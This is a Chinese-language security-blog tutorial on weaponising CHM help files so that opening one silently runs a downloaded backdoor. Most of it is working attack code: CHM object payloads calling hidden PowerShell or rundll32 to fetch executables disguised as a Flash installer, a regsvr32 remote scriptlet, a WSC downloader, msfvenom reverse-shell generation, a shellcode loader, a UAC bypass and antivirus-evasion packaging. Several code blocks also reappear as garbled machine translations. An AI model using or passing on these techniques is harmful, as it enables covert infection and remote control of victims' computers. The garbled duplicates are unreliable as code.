*本文原創作者:ruo,本文屬FreeBuf原創獎勵計畫,未經許可禁止轉載。
序
某日嶽兄激動的說他的chm自動反彈shell做好了,急匆匆的拿我們測試,結果…一定是出bug了,我看了下演示(對不起,我實在編不下去了)。文章給出最終版程式碼,測試的心酸擼主右手可以作證。
第一章CHM社工
當ithurricanept在發twitter的時候估計我在東北玩泥巴,看了Demo嚇得我趕緊注册了個twitter並且Follow了TA。
Demo程式碼應該是這樣的:
<OBJECT id=xclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1height=1>
<PARAM name="Command"value="ShortCut">
<PARAM name="Button"value="Bitmap::shortcut">
<PARAM name="Item1"value=',calc.exe'>
<PARAM name="Item2"value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
<OBJECT id=xclassid=“clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11”width=1height=1>
<PARAM name=“Command”value=“ShortCut”>
<PARAM name=“Button”value=“Bitmap::shortcut”>
<PARAM name=“Item1”value=',calc.exe'>
<PARAM name=“Item2”value=“273,1,1”>
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
打開該CHM檔案即彈出小算盘,之後Samratashok也推出了他的Out-CHM(使用參數HHCPath指定自己的hhc路徑),使用CHM執行powershell腳本,但唯一不足就是會彈出黑框。
PS D:\nishang\Client> Import-Module.\Out-CHM.ps1
PS D:\nishang\Client> get-help Out-CHM -examples
PS D:\nishang\Client >Out-CHM-PayloadURL http://192.168.254.1/Get-Information.ps1 -HHCPath " C:\ProgramFiles (x86)\HTML Help Workshop"
PS D:\nishang\Client>導入模塊。\Out-CHM.ps1
PS D:\ nishang\Client>獲取CHM幫助-示例
PS D:\ nishang\Client>Out CHM PayloadURL http://192.168.254.1/Get-Information.ps1-HHCPath“C:\程式檔案(x86)\ HTML幫助研討會”
##反編譯CHM
hh -decompile test doc.chm
##Out-CHM PAYLOAD
<OBJECT id=x classid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11"width=1 height=1>
<PARAM name="Command" value="ShortCut">
<PARAM name="Button" value="Bitmap::shortcut">
<PARAM name="Item1" value=",cmd.exe,/cC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden-ExecutionPolicy Bypass -NoLogo -NoProfile IEX ((New-ObjectNet.WebClient).DownloadString('http://192.168.254.1/Get-Information.ps1'));">
<PARAM name="Item2"value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
hh -decompile test doc.chm
##Out-CHM PAYLOAD
<OBJECT id=x classid=“clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11”width=1 height=1>
<PARAM name=“Command”value=“ShortCut”>
<PARAM name=“Button”value=“Bitmap::shortcut”>
<PARAM name=“Item1”value=“,cmd.exe,/cC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden-ExecutionPolicy Bypass -NoLogo -NoProfile IEX((New-ObjectNet.WebClient).DownloadString('http://192.168.254.1/ Get-Information.ps1'));”>
<PARAM name=“Item2”value=“273,1,1”>
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
##有用連結
ithurricanept
https://twitter.com/ithurricanept/status/534993743196090368
HTML Help Workshop
http://www.microsoft.com/en-us/download/details.aspx?id=21138
nishang
https://github.com/samratashok/nishang
第二章討厭的黑框
nishang的黑框真的很讓人捉急,不知道他找到解決辦法了沒,但是國內聰明的Evi1cg在某個晚上突然就想到了,反正他是這麼說的。
通過rundll32.exe執行js
rundll32.exejavascript:"\..\mshtml,RunHTMLApplication ";alert('foo');
Rundll32漏洞配合JSRAT做出了近乎完美的後門,寫入註冊表即可實現開機啟動。
注册腳本組件
regsvr32.exe /u /n /s/i:http://10.10.10.10:31337/file.sct scrobj.dll
##有用連結
evi1cg
http://evi1cg.me/archives/chm_backdoor.html
從惡意軟件獲得的新姿勢—通過rundll32.exe執行js原理詳細分析
http://bobao.360.cn/learning/detail/164.html
JSRat
https://github.com/Hood3dRob1n/JSRat-Py
第三章强大的Powershell
但是我只想用它來下載一個後門並執行,於是乎開始了各種折騰。首先測試powershell的下載執行,然後嵌入rundll32測試,最後生成CHM再測試。
##Powershell下載並執行
powershell -WindowStyle hidden -nologo -noprofile-ep bypass IEX(New-Object Net.WebClient).DownloadFile('http://xxx.xxx.xxx.xxx/sn.exe','..\\sn.exe');&cmd/c ..\\sn.exe
Powershell的下載可謂是五花八門,最後我還是選擇了常用的DownloadFile(),將文件下載到上層目錄(當C:\沒有許可權時powershell就會將檔案直接下載到用戶目前的目錄下;env:\temp環境變數在低版本powershell中沒有;start-process -nonewwindow‘sn.exe’似乎不等待下載完成便會調用),並通過&符號連接命令運行下載的程式。
##嵌入rundll32
rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication";document.write();r=new%20ActiveXObject("WScript.Shell").run("powershell-WindowStyle hidden -nologo -noprofile -ExecutionPolicy Bypass IEX (New-ObjectNet.WebClient).DownloadFile("http://139.*.*.*/sn.exe","..\\sn.exe");&cmd/c ..\\sn.exe",0,true);
##生成CHM
<OBJECT id=xclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1height=1>
<PARAM name="Command"value="ShortCut">
<PARAM name="Button"value="Bitmap::shortcut">
<PARAM name="Item1"value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication";document.write();r=new%20ActiveXObject("WScript.Shell").run("powershell-WindowStyle hidden -nologo -noprofile -ExecutionPolicy Bypass IEX (New-ObjectNet.WebClient).DownloadFile('http://192.168.0.101/flashplayer23_ha_install.exe','..\\setup.exe');&cmd/c ..\\setup.exe",0,true);'>
<PARAM name="Item2"value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
<OBJECT id=xclassid=“clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11”width=1height=1>
<PARAM name=“Command”value=“ShortCut”>
<PARAM name=“Button”value=“Bitmap::shortcut”>
<PARAM name=“Item1”value=',rundll32.exe,javascript:“\..\mshtml,RunHTMLApplication”;document.write();r=new%20ActiveXObject(“WScript.Shell”).run(“powershell-WindowStyle hidden -nologo -noprofile -ExecutionPolicy Bypass IEX(New-ObjectNet.WebClient).DownloadFile('http://192.168.0.101/flashplayer23_ha_install.exe';,'..\\setup.exe');&cmd/c ..\\setup.exe“,0,true);'>
<PARAM name=“Item2”value=“273,1,1”>
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
單雙引號真的會把人逼瘋的,在CHM中需用’代替雙引號,嘗試使用base64編碼powershell命令,但是嵌入rundll32測試語法錯誤,一時無解。
##有用連結
第四章msf後門陞級
CHM做好了,下麵製作後門。開始選用新版cobaltstrike的DNS上線,結果功能變數名稱測試都沒問題,生的的馬兒就是不上線,無奈放弃。最後選擇msf的reverse_tcp。
生成馬兒
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcplhost=192.168.6.12 lport=80 EXITFUNC=thread -e x86/shikata_ga_nai -b '\x00' -i3 -f exe -o /tmp/bdoor.exe
msfvenom -a x86 --platform windows -p windows/shell/reverse_tcp lhost=192.168.6.12 lport=80 -e x86/shikata_ga_nai -b'\x00' -i 3 -f c
##免殺
OWASP-ZSC
可以生成下載執行,添加用戶,創建檔案等的shellcode;
聽說你可以混淆程式碼,原來只支持javascript perl php python ruby,更別說混淆現有shellcode了;
https://github.com/zscproject/OWASP-ZSC
Veil-Evasion
使用現有payload一鍵生成可執行文件。有c,python,go,ruby的meterpreter反彈後門,go和python生成的可執行文件高大4M,還不如自己使用python ctypes加載shellcode,生成exe,實用價值不大。
https://www.veil-framework.com/framework/veil-evasion/
C加載shellcode
傳說中的C語言執行shellcode的五種方法只能在VC6.0下通過,VS用戶真的傷不起。
VC6.0
main(){
( (void(*)(void))&shellcode )();
}
#include <Windows.h>
#include <string.h>
#include <stdio.h>
unsigned char shellcode2[] =
"\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30"
"\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff";
int main(){
PVOIDp;
p= VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(p != NULL){
//printf("allocok");
if(memcpy(p,shellcode,sizeof(shellcode))){
//printf("cpok");
//CreateThread(NULL,0, (LPTHREAD_START_ROUTINE )p, NULL, 0, NULL);
__asm
{
moveax,p;
jmpeax;
}
}
}
}
#include <Windows.h>
#include <string.h>
#include <stdio.h>
unsigned char shellcode2[] =
“\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30”
“\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff”;
int main(){
PVOIDp;
p= VirtualAlloc(NULL,sizeof(shellcode),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
if(p!= NULL){
//printf(“allocok”);
if(memcpy(p,shellcode,sizeof(shellcode))){
//printf(“cpok”);
//CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)p,NULL,0,NULL);
__asm
{
moveax,p;
jmpeax;
}
}
}
}
話說前兩天有人發了(TM後來360也殺了),別緊張,那不是我。msf後面免殺管道多樣,但一般也不外乎以下幾點。
1,靜態檔案特徵免殺
msfvenom -l encoders提供了多種編碼方式,x86/shikata_ga_nai仍是現時excellent。但你一定會喜歡上Unest二進位程式碼混淆器的。
2,行為查殺
Cobaltstrike http上線管道請求的頁面有固定格式,msf對傳輸的數據可以异或或者加密。
3,記憶體查殺
其後我將其做成管理員組用戶執行直接繞過UAC自動安裝成服務,啟動延時3分鐘(主要是開機的時候可能還沒網,連接不成功便會結束程式),在執行繞UAC時system(“cmd.exe /c eventvwr.exe”);時有黑框,使用CreateProcess API創建這個行程。http://www.virustotal.com掃描僅F-PROT報毒(這應該是個梗)。
使用自解壓程式安裝服務
話說360看到是自解壓程式就殺,果然是這樣的。
##自解壓程式折騰之靜默模式
1,首先能想到的就是winrar,但是winrar自解壓換個ico你都殺,一會兒殺一會兒不殺的尿性始終沒變;
2,只要是加UPX殼就殺;
3,IExpress打包啥都殺;
4,7-ZIP SFX自解壓;
5,makesfx.exe新版真心好用,測試一會兒直接殺;
6,ZIP 2 Secure EXE用起來滿滿的心累;
7,WinZip Self-Extractor完成後必須彈框是什麼意思?
8,其他管道
最後還是選用rar的自解壓,下載英文版各版本winrar,安裝後複製裡面的Default.SFX和rar.exe保存,使用不通的rar版本生成自解壓程式。
##自解壓檔案製作
創建Silent.sfx靜默安裝設定檔,其實就是注釋啦。
程式傳入bypass參數繞過UAC並安裝服務
Setup=wdevmtsvc.exe bypass
TempMode
Silent=1
Overwrite=2
Setup=wdevmtsvc.exe bypass
TempMode
Silent=1
Overwrite=2
命令列生成自解壓檔案
rar.exe a -r -ep1 -sfx-zSilent.sfx flashplayer23_ha_install.exe wdevmtsvc.exe
我以為到這裡就完了,結果…
##有用連結
Creating a Self-Extracting Setup ExecutableFile
https://msdn.microsoft.com/en-us/library/aa244282%28v=vs.60%29.aspx
makesfx
http://74.cz/en/make-sfx/index.php
Windows-Services-Application
https://github.com/ru0/Windows-Services-Application
第五章WSC
朋友說嚇了一大跳,等了半天也沒見上線。再次本地測試,發現powershell被360衛士給攔截了,尼瑪,這是啥時候開始的?無奈,為了過360只能拋弃powershell下載,使用wsc下載執行。
Windows Script Components(WSC),以前稱為Scriplets,是一種以容易的管道開發强大的COM組件的科技。WSC可以用任何實現了ActiveX腳本介面的指令碼語言來編寫,這意味著PerlScript程式碼單元可以封裝為Windows腳本組件。
Tips:當你開始看WSC的時候可能會被它繁多的標籤搞得雲裡霧裡,你可以使用scriptwz.exe嚮導生成wsc檔案,或者過一陣子再看。
##通過wsc啟動小算盘
test.wsc檔案
<?xml version="1.0"?>
<component>
<script language="JScript">
<![CDATA[
newActiveXObject("WScript.Shell").Run("calc.exe");
]]>
</script>
</component>
<?xml版本=“1.0”?>
<組件>
<script language=“JScript”>
<![CDATA飯店[
newActiveXObject(“WScript.Shell”).Run(“calc.exe”);
]]>
</script>
</component>
1.js檔案
GetObject("script:C:\\test.wsc");
執行js
cscript 1.js
加載遠程wsc,當然你也可以將下載js程式碼寫在CHM裡面,不過使用wsc程式碼更簡潔並且可以及時更新下載程式。
GetObject("script:http://xxx.xxx.xxx.xxx/test.wsc")
##下載並執行wsc腳本
<?xml version="1.0"?>
<component>
<?component error="false"debug="false"?>
<script language="JScript">
<![CDATA[
function getFile(strURL){
varstrResult;
try{
varWinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1")
WinHttpReq.Open("GET",strURL,false);
WinHttpReq.Send();
WinHttpReq.WaitForResponse();
strResult= WinHttpReq.ResponseBody;
}
catch(objError){}
returnstrResult;
}
var s = new ActiveXObject("ADODB.Stream");
var md = newActiveXObject("WScript.Shell").SpecialFolders("MyDocuments");
md +="\\flashplayer23_ha_install.exe";
s.Mode=3;
s.Type=1;
s.Open();
try{
s.Write(getFile("http://xxx.xxx.xxx.xxx/flashplayer23_ha_install.exe"));
s.SaveToFile(md,2);
}
catch(err){}
s.Close();
try{
newActiveXObject("WScript.Shell").Run(md);
}
catch(err){}
]]>
</script>
</component>
<?xml版本=“1.0”?>
<組件>
<?組件錯誤=“false”調試=“false”?>
<script language=“JScript”>
<![CDATA[
函數getFile(strURL){
瓦爾斯特雷蘇
試試看{
varWinHttpReq=new ActiveXObject(“WinHttp.WinHttpRequest.5.1”)
WinHttpReq.Open(“GET”,strURL,false);
WinHttpReq.Send();
WinHttpReq.WaitForResponse();
strResult=WinHttpReq.ResponseBody;
}
捕獲(objError){}
返回結果;
}
var s=新的ActiveXObject(“ADODB.Stream”);
var md=newActiveXObject(“WScript.Shell”).SpecialFolders(“MyDocuments”);
md+=“\\flashplayer23_ha_install.exe”;
s、模式=3;
s、類型=1;
s、打開();
試試看{
s.Write(getFile(“http://xxx.xxx.xxx.xxx/flashplayer23_ha_install.exe”);
保存檔案(md,2);
}
捕獲(錯誤){}
s、關閉();
試試看{
newActiveXObject(“WScript.Shell”).Run(md);
}
捕獲(錯誤){}
]]>
</script>
</component>
##嵌rundll32-chin
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";document.write();GetObject("script:https://xxx.xxx.xxx.xxx/test.wsc");
##CHM有效載荷
<OBJECT id=xclassid="clsid:adb880a6-d8ff-11cf-9377-00aa003b7a11" width=1height=1>
<PARAM name="Command"value="ShortCut">
<PARAMname="Button" value="Bitmap::shortcut">
<PARAM name="Item1"value=',rundll32.exe,javascript:"\..\mshtml,RunHTMLApplication";document.write();try{GetObject("script:https://xxx.xxx.xxx.xxx/test.wsc");}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd/c taskkill /f /im rundll32.exe",0,true);}'>
<PARAM name="Item2"value="273,1,1">
</OBJECT>
<SCRIPT>
x.Click();
</SCRIPT>
<OBJECT id=xclassid=“clsid:adb8806-d8ff-11cf-9377-00aa003b7a11”寬度=1高度=1>
<PARAM name=“Command”value=“ShortCut”>
<PARAMname=“Button”value=“Bitmap::shortcut”>
<PARAM name=“Item1”value=“rundll32.exe,javascript:”\mshtml,RunHTMLAicationppl;document.write();嘗試GetObject(“腳本:https://xxx.xx.xxx.xxx/test.wsc”;<new%20ActiveXObject(“WScript.Shell Run”(“cmd/taskkic/runl0;”)
<PARAM name=“Item2”value=“273,1,1”>
</OBJECT>
<腳本>
x、按一下();
</SCRIPT>
.29992;.25105;.25913;.29256;.30340;.makeCHM.ps1和30452;-25509;-29983;-25104;-CHM20214;
.\makeCHM.ps1 -FileName test.htm
實際打點效果(windows/shell/reverse_tcp連接容易失去響應)
##有用連結
Windows Script Components(WSC)
http://www.xav.com/perl/Windows/windows_script_components.html
Registering a Script Component
https://msdn.microsoft.com/en-us/library/zt97f40t%28v=vs.84%29.aspx
ru0 s github
https://github.com/ru0
陌
1,如何對CHM後門檢測。
2,msf雖然簡單易用,但是沒有會話控制,很容易遺失目標,後期可以考慮自寫回連shell程式碼。
3,對於“沒給錢”的服務360衛士檢測為“無需啟動的程式”。
4,自解壓逃不過360sd,考慮自寫解壓程式或者修改服務程式。
5,若有紕漏,還望指正。
*本文原創作者:ruo ,本文屬FreeBuf原創獎勵計畫,未經許可禁止轉載。